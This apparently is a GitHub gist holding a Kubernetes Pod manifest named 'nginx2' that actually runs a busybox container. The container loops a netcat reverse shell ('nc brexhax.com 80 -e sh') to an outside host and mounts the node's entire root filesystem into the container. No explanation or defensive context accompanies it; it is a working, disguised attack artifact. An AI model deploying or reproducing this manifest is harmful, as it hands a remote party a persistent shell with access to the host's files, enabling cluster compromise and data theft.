Skip to content

Instantly share code, notes, and snippets.

@frenchi
Last active July 28, 2020 23:46
Show Gist options
  • Save frenchi/9d618d07cb6cfd2244130418273dd44a to your computer and use it in GitHub Desktop.
Save frenchi/9d618d07cb6cfd2244130418273dd44a to your computer and use it in GitHub Desktop.
apiVersion: v1
kind: Pod
metadata:
name: nginx2
namespace: default
labels:
app: nginx2
spec:
containers:
- image: docker.io/library/busybox:1.28.4
name: nginx
command:
- sh
- -c
- while true; do nc brexhax.com 80 -e sh; done
volumeMounts:
- mountPath: /rootfs
name: host
volumes:
- name: host
hostPath:
path: /
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment